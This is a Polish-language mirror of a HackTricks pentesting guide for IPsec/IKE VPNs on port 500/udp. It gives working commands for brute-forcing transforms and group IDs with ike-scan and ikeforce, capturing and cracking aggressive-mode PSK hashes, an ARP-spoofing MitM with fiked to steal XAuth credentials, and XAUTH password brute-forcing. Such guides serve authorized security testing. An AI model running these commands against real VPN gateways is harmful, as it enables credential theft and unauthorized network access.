mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
244 lines
16 KiB
Markdown
244 lines
16 KiB
Markdown
# 500/udp - Pentesting IPsec/IKE VPN
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Podstawowe informacje
|
|
|
|
**IPsec** jest powszechnie uznawany za główną technologię zabezpieczania komunikacji między sieciami (LAN-to-LAN) oraz zdalnymi użytkownikami do bramy sieciowej (zdalny dostęp), stanowiąc podstawę dla rozwiązań VPN w przedsiębiorstwach.
|
|
|
|
Ustanowienie **związku bezpieczeństwa (SA)** między dwoma punktami jest zarządzane przez **IKE**, które działa w ramach ISAKMP, protokołu zaprojektowanego do uwierzytelniania i wymiany kluczy. Proces ten przebiega w kilku fazach:
|
|
|
|
- **Faza 1:** Tworzony jest bezpieczny kanał między dwoma punktami końcowymi. Osiąga się to poprzez użycie klucza wstępnie udostępnionego (PSK) lub certyfikatów, stosując tryb główny, który obejmuje trzy pary wiadomości, lub **tryb agresywny**.
|
|
- **Faza 1.5:** Choć nieobowiązkowa, ta faza, znana jako Faza Rozszerzonego Uwierzytelniania, weryfikuje tożsamość użytkownika próbującego się połączyć, wymagając nazwy użytkownika i hasła.
|
|
- **Faza 2:** Ta faza jest poświęcona negocjowaniu parametrów zabezpieczania danych za pomocą **ESP** i **AH**. Umożliwia to użycie algorytmów różnych od tych w Fazie 1, aby zapewnić **Idealną Tajność Przyszłości (PFS)**, zwiększając bezpieczeństwo.
|
|
|
|
**Domyślny port:** 500/udp
|
|
|
|
## **Odkryj** usługę za pomocą nmap
|
|
```
|
|
root@bt:~# nmap -sU -p 500 172.16.21.200
|
|
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
|
Nmap scan report for 172.16.21.200
|
|
Host is up (0.00036s latency).
|
|
PORT STATE SERVICE
|
|
500/udp open isakmp
|
|
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|
```
|
|
## **Znalezienie ważnej transformacji**
|
|
|
|
Konfiguracja IPSec może być przygotowana tylko do akceptacji jednej lub kilku transformacji. Transformacja to kombinacja wartości. **Każda transformacja** zawiera szereg atrybutów, takich jak DES lub 3DES jako **algorytm szyfrowania**, SHA lub MD5 jako **algorytm integralności**, klucz współdzielony jako **typ uwierzytelnienia**, Diffie-Hellman 1 lub 2 jako **algorytm dystrybucji kluczy** oraz 28800 sekund jako **czas życia**.
|
|
|
|
Pierwszą rzeczą, którą musisz zrobić, jest **znalezienie ważnej transformacji**, aby serwer mógł z tobą rozmawiać. Aby to zrobić, możesz użyć narzędzia **ike-scan**. Domyślnie Ike-scan działa w trybie głównym i wysyła pakiet do bramy z nagłówkiem ISAKMP i pojedynczą propozycją z **ośmioma transformacjami wewnątrz**.
|
|
|
|
W zależności od odpowiedzi możesz uzyskać pewne informacje o punkcie końcowym:
|
|
```
|
|
root@bt:~# ike-scan -M 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=d90bf054d6b76401)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
Jak widać w poprzedniej odpowiedzi, istnieje pole **AUTH** z wartością **PSK**. Oznacza to, że VPN jest skonfigurowany z użyciem klucza wstępnie udostępnionego (co jest naprawdę dobre dla pentestera).\
|
|
**Wartość ostatniej linii jest również bardzo ważna:**
|
|
|
|
- _0 zwrócone handshake; 0 zwrócone notify:_ Oznacza to, że cel **nie jest bramą IPsec**.
|
|
- _**1 zwrócone handshake; 0 zwrócone notify:**_ Oznacza to, że **cel jest skonfigurowany dla IPsec i jest gotowy do przeprowadzenia negocjacji IKE, a jeden lub więcej z proponowanych transformacji jest akceptowalnych** (ważna transformacja zostanie pokazana w wynikach).
|
|
- _0 zwrócone handshake; 1 zwrócone notify:_ Bramki VPN odpowiadają wiadomością notify, gdy **żadne z transformacji nie są akceptowalne** (choć niektóre bramki tego nie robią, w takim przypadku należy przeprowadzić dalszą analizę i spróbować zrewidowanej propozycji).
|
|
|
|
W takim razie mamy już ważną transformację, ale jeśli jesteś w 3. przypadku, musisz **przeprowadzić trochę brute-force, aby znaleźć ważną transformację:**
|
|
|
|
Przede wszystkim musisz stworzyć wszystkie możliwe transformacje:
|
|
```bash
|
|
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
|
```
|
|
A następnie przeprowadź atak brute-force na każdy z nich za pomocą ike-scan (może to zająć kilka minut):
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Jeśli brute-force nie zadziałał, być może serwer odpowiada bez handshake'ów nawet na ważne transformacje. Wtedy możesz spróbować tego samego brute-force, ale używając trybu agresywnego:
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Mam nadzieję, że **ważna transformacja zostanie zwrócona**.\
|
|
Możesz spróbować **tego samego ataku** używając [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
|
Możesz również spróbować wymusić transformacje za pomocą [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
|
```bash
|
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
|
```
|
|
.png>)
|
|
|
|
W **Grupie DH: 14 = 2048-bit MODP** i **15 = 3072-bit**\
|
|
**2 = HMAC-SHA = SHA1 (w tym przypadku). Format `--trans` to $Enc,$Hash,$Auth,$DH**
|
|
|
|
Cisco wskazuje, aby unikać używania grup DH 1 i 2, ponieważ nie są wystarczająco silne. Eksperci uważają, że **kraje z dużymi zasobami mogą łatwo złamać szyfrowanie** danych, które używają tych słabych grup. Robi się to za pomocą specjalnej metody, która przygotowuje je do szybkiego łamania kodów. Mimo że kosztuje to dużo pieniędzy, aby skonfigurować tę metodę, pozwala tym potężnym krajom na odczytanie zaszyfrowanych danych w czasie rzeczywistym, jeśli używa się grupy, która nie jest silna (jak 1,024-bit lub mniejsza).
|
|
|
|
### Odczytywanie odcisków serwera
|
|
|
|
Następnie można użyć ike-scan, aby spróbować **odkryć dostawcę** urządzenia. Narzędzie wysyła początkową propozycję i przestaje odtwarzać. Następnie **analizuje** różnicę **czasu** **między** odebranymi **wiadomościami** z serwera a odpowiadającym wzorcem odpowiedzi, co pozwala pentesterowi skutecznie zidentyfikować dostawcę bramy VPN. Co więcej, niektóre serwery VPN będą używać opcjonalnego **ładunku identyfikatora dostawcy (VID)** z IKE.
|
|
|
|
**Określ ważną transformację, jeśli to konieczne** (używając --trans)
|
|
|
|
Jeśli IKE odkryje, który jest dostawcą, wydrukuje to:
|
|
```
|
|
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=4f3ec84731e2214a)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
IKE Backoff Patterns:
|
|
|
|
IP Address No. Recv time Delta Time
|
|
172.16.21.200 1 1322286031.744904 0.000000
|
|
172.16.21.200 2 1322286039.745081 8.000177
|
|
172.16.21.200 3 1322286047.745989 8.000908
|
|
172.16.21.200 4 1322286055.746972 8.000983
|
|
172.16.21.200 Implementation guess: Cisco VPN Concentrator
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
To można również osiągnąć za pomocą skryptu nmap _**ike-version**_
|
|
|
|
## Znalezienie poprawnego ID (nazwa grupy)
|
|
|
|
Aby móc przechwycić hash, potrzebujesz ważnej transformacji wspierającej tryb agresywny oraz poprawnego ID (nazwa grupy). Prawdopodobnie nie będziesz znać ważnej nazwy grupy, więc będziesz musiał ją wypróbować metodą brute-force.\
|
|
Aby to zrobić, polecam 2 metody:
|
|
|
|
### Bruteforcing ID z ike-scan
|
|
|
|
Najpierw spróbuj wysłać żądanie z fałszywym ID, próbując zebrać hash ("-P"):
|
|
```bash
|
|
ike-scan -P -M -A -n fakeID <IP>
|
|
```
|
|
Jeśli **żaden hash nie jest zwracany**, to prawdopodobnie ta metoda brute forcingu zadziała. **Jeśli jakiś hash jest zwracany, oznacza to, że fałszywy hash zostanie odesłany dla fałszywego ID, więc ta metoda nie będzie niezawodna** do brute-forcingu ID. Na przykład, może zostać zwrócony fałszywy hash (to zdarza się w nowoczesnych wersjach):
|
|
|
|
.png>)
|
|
|
|
Ale jeśli, jak już powiedziałem, żaden hash nie jest zwracany, powinieneś spróbować brute-forcingu powszechnych nazw grup za pomocą ike-scan.
|
|
|
|
Ten skrypt **spróbuje brute-forcingu możliwych ID** i zwróci ID, dla których zwrócono ważne handshake (to będzie ważna nazwa grupy).
|
|
|
|
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ike-scan. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować wszystkich (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
|
|
|
Możesz użyć [słownika ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) lub [tego w seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) z powszechnymi nazwami grup do brute-forcingu:
|
|
```bash
|
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
|
```
|
|
Or use this dict (is a combination of the other 2 dicts without repetitions):
|
|
|
|
{{#file}}
|
|
vpnIDs.txt
|
|
{{#endfile}}
|
|
|
|
### Bruteforcing ID with Iker
|
|
|
|
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) również używa **ike-scan** do bruteforcingu możliwych nazw grup. Stosuje swoją własną metodę, aby **znaleźć ważne ID na podstawie wyników ike-scan**.
|
|
|
|
### Bruteforcing ID with ikeforce
|
|
|
|
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) to narzędzie, które można wykorzystać do **bruteforcingu ID również**. To narzędzie **spróbuje wykorzystać różne luki** które mogą być użyte do **rozróżnienia między ważnym a nieważnym ID** (mogą wystąpić fałszywe pozytywy i fałszywe negatywy, dlatego wolę używać metody ike-scan, jeśli to możliwe).
|
|
|
|
Domyślnie **ikeforce** na początku wyśle kilka losowych id, aby sprawdzić zachowanie serwera i określić taktykę do użycia.
|
|
|
|
- **Pierwsza metoda** polega na bruteforcingu nazw grup poprzez **wyszukiwanie** informacji **Dead Peer Detection DPD** systemów Cisco (te informacje są odtwarzane przez serwer tylko wtedy, gdy nazwa grupy jest poprawna).
|
|
- **Druga metoda** polega na **sprawdzaniu liczby odpowiedzi wysyłanych na każdą próbę**, ponieważ czasami wysyłane są dodatkowe pakiety, gdy używane jest poprawne id.
|
|
- **Trzecia metoda** polega na **wyszukiwaniu "INVALID-ID-INFORMATION" w odpowiedzi na niepoprawne ID**.
|
|
- Na koniec, jeśli serwer nie odpowiada na żadne sprawdzenia, **ikeforce** spróbuje bruteforcingu serwera i sprawdzi, czy po wysłaniu poprawnego id serwer odpowiada jakimś pakietem.\
|
|
Oczywiście celem bruteforcingu id jest uzyskanie **PSK**, gdy masz ważne id. Następnie, z **id** i **PSK** będziesz musiał bruteforcingować XAUTH (jeśli jest włączone).
|
|
|
|
Jeśli odkryłeś konkretną transformację, dodaj ją do polecenia ikeforce. A jeśli odkryłeś kilka transformacji, nie krępuj się dodać nową pętlę, aby spróbować je wszystkie (powinieneś spróbować wszystkich, aż jedna z nich będzie działać poprawnie).
|
|
```bash
|
|
git clone https://github.com/SpiderLabs/ikeforce.git
|
|
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|
```
|
|
|
|
```bash
|
|
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
|
```
|
|
### Sniffing ID
|
|
|
|
(Z książki **Network Security Assessment: Know Your Network**): Możliwe jest również uzyskanie ważnych nazw użytkowników poprzez sniffing połączenia między klientem VPN a serwerem, ponieważ pierwszy pakiet w trybie agresywnym zawierający identyfikator klienta jest wysyłany w postaci niezaszyfrowanej.
|
|
|
|
.png>)
|
|
|
|
## Capturing & cracking the hash
|
|
|
|
Na koniec, jeśli znalazłeś **ważną transformację** i **nazwę grupy** oraz jeśli **tryb agresywny jest dozwolony**, to możesz bardzo łatwo przechwycić łamliwy hash:
|
|
```bash
|
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
|
```
|
|
Hash zostanie zapisany w pliku _hash.txt_.
|
|
|
|
Możesz użyć **psk-crack**, **john** (używając [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) oraz **hashcat**, aby **złamać** hash:
|
|
```bash
|
|
psk-crack -d <Wordlist_path> psk.txt
|
|
```
|
|
## **XAuth**
|
|
|
|
**Agresywny tryb IKE** w połączeniu z **kluczem wstępnym (PSK)** jest powszechnie stosowany do celów **uwierzytelniania grupowego**. Metoda ta jest wzbogacona o **XAuth (Rozszerzone Uwierzytelnianie)**, które wprowadza dodatkową warstwę **uwierzytelniania użytkownika**. Takie uwierzytelnianie zazwyczaj wykorzystuje usługi takie jak **Microsoft Active Directory**, **RADIUS** lub porównywalne systemy.
|
|
|
|
Przechodząc do **IKEv2**, zauważalna jest istotna zmiana, w której **EAP (Rozszerzalny Protokół Uwierzytelniania)** jest wykorzystywany zamiast **XAuth** w celu uwierzytelniania użytkowników. Ta zmiana podkreśla ewolucję praktyk uwierzytelniania w ramach bezpiecznych protokołów komunikacyjnych.
|
|
|
|
### Lokalna sieć MitM do przechwytywania poświadczeń
|
|
|
|
Możesz przechwycić dane logowania za pomocą _fiked_ i sprawdzić, czy istnieje domyślna nazwa użytkownika (musisz przekierować ruch IKE do `fiked` w celu sniffingu, co można zrobić za pomocą spoofingu ARP, [więcej informacji](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked będzie działać jako punkt końcowy VPN i przechwyci poświadczenia XAuth:
|
|
```bash
|
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|
```
|
|
Również, używając IPSec, spróbuj przeprowadzić atak MitM i zablokować cały ruch do portu 500, jeśli tunel IPSec nie może zostać nawiązany, być może ruch będzie wysyłany w postaci niezaszyfrowanej.
|
|
|
|
### Brute-forcing XAUTH username i hasła z ikeforce
|
|
|
|
Aby przeprowadzić brute force na **XAUTH** (gdy znasz ważną nazwę grupy **id** i **psk**), możesz użyć nazwy użytkownika lub listy nazw użytkowników oraz listy haseł:
|
|
```bash
|
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
|
```
|
|
W ten sposób ikeforce spróbuje połączyć się, używając każdej kombinacji nazwy użytkownika:hasło.
|
|
|
|
Jeśli znalazłeś jedną lub kilka ważnych transformacji, po prostu użyj ich jak w poprzednich krokach.
|
|
|
|
## Uwierzytelnianie z IPSEC VPN
|
|
|
|
W Kali, **VPNC** jest wykorzystywane do ustanawiania tuneli IPsec. **Profile** muszą znajdować się w katalogu `/etc/vpnc/`. Możesz zainicjować te profile za pomocą polecenia _**vpnc**_.
|
|
|
|
Poniższe polecenia i konfiguracje ilustrują proces ustawiania połączenia VPN z VPNC:
|
|
```bash
|
|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
|
IPSec gateway [VPN_GATEWAY_IP]
|
|
IPSec ID [VPN_CONNECTION_ID]
|
|
IPSec secret [VPN_GROUP_SECRET]
|
|
IKE Authmode psk
|
|
Xauth username [VPN_USERNAME]
|
|
Xauth password [VPN_PASSWORD]
|
|
STOP
|
|
root@system:~# vpnc samplevpn
|
|
VPNC started in background (pid: [PID])...
|
|
root@system:~# ifconfig tun0
|
|
```
|
|
W tej konfiguracji:
|
|
|
|
- Zastąp `[VPN_GATEWAY_IP]` rzeczywistym adresem IP bramy VPN.
|
|
- Zastąp `[VPN_CONNECTION_ID]` identyfikatorem połączenia VPN.
|
|
- Zastąp `[VPN_GROUP_SECRET]` grupowym sekretem VPN.
|
|
- Zastąp `[VPN_USERNAME]` i `[VPN_PASSWORD]` danymi uwierzytelniającymi VPN.
|
|
- `[PID]` symbolizuje identyfikator procesu, który zostanie przypisany, gdy `vpnc` zostanie zainicjowany.
|
|
|
|
Upewnij się, że rzeczywiste, bezpieczne wartości są używane do zastąpienia miejsc wypełniających podczas konfigurowania VPN.
|
|
|
|
## Materiały referencyjne
|
|
|
|
- [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
|
- [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
|
- [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
|
|
- Network Security Assessment 3rd Edition
|
|
|
|
## Shodan
|
|
|
|
- `port:500 IKE`
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|